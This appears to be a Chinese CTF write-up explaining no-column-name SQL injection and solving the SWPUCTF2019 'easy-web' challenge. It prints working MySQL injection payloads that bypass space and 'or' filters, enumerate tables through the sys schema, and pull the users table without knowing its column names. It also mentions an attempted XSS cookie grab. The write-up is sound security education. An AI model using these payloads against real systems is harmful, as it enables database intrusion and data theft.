最近在比赛的时候遇到两道无列名注入的题目,简单的记录一下原理和题目
无列名注入
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在CTF题目中常常是因为information_schema被过滤的情况下,使用这种方法获取列名,无列名注入的原理其实类似于将我们不知道的列名,进行取别名操作,在取别名的同时进行数据查询,所以如果我们查询的字段多于数据表中列的时候,会出现报错。
例如:
发现该数据表中有3列,我们使用无列名查询的方式尝试查询一下
select 1,2,3 union select * from users;
尝试多一个字段进行查询
select 1,2,3,4 union select * from users;
提示报错,再次尝试使用两个字段进行查询
select 1,2 union select * from users;
仍然报错,证明无列名注入必须一一对应所查询数据表的列数
对一列数据进行查询
select `2` from (select 1,2,3 union select * from users)a;
查询两列数据
select concat(`2`,0x3a,`3`) from (select 1,2,3 union select * from users)a;
查询一行数据
select `2` from (select 1,2,3 union select * from users)a limit 1,1;
当“被过滤时,可以使用别名查询
select v from (select 1,2 as v,3 union select * from users)a limit 1,1;
还可以使用join进行绕过注入
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from users)x;
看一下例题:
SWPUCTF2019
web1-easy-web
打开题目发现有登陆和注册接口,直接注册一个弱口令用户登陆一下
登陆后台
有发布广告的页面,测试了一下存在xss
在比赛的时候,以为是xss获取cookie,因为存在admin用户的账号,就直接放了xss平台的代码等着收割,结果等了一上午都没点击,后来看到提示,才去测试注入
注入点在广告名:
点击广告详情
发现数据库报错信息,证明存在注入,可根据报错的信息去构造sql注入语句,fuzz一下被过滤的字符和符号
空格和or被过滤,我们使用注释符号来代替空格
查询一下字段
11'/**/group/**/by/**/22,'
11'/**/group/**/by/**/23,'
字段为22,尝试一下联合查询
11'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
回显出2,3字段,查询一下数据库名称和版本
11'/**/union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
成功查询出数据库信息,下一步我们想要查询数据表信息,但因为or被过滤,我们无法使用information_schema进行数据查询,我们可以使用sys数据库进行数据查询,使用sys数据库需要满足:
1.数据库版本大于等于5.7
2.数据库用户为root@localohost用户
查询一下当前数据库的用户和版本
11'/**/union/**/select/**/1,version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
发现符合上述条件,我们使用sys数据库进行注入,在这里我们使用schema_auto_increment_columns表进行查询,构造语句
11'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
我们无法知道列名,可以通过无列名注入的方式进行注入
111'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)c),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
可以看到flag在第二个,我们查询一下第三个字段的值,即可查询出flag
111'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)c),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
成功获取到加密的flag,使用在线网站解密即可得到flag
上海市网安大赛的题目没有开源,没有复现的地方,不过题目的考点大致相同,同样是的information被过滤,使用了innodb绕过information,再之后使用无列名注入即可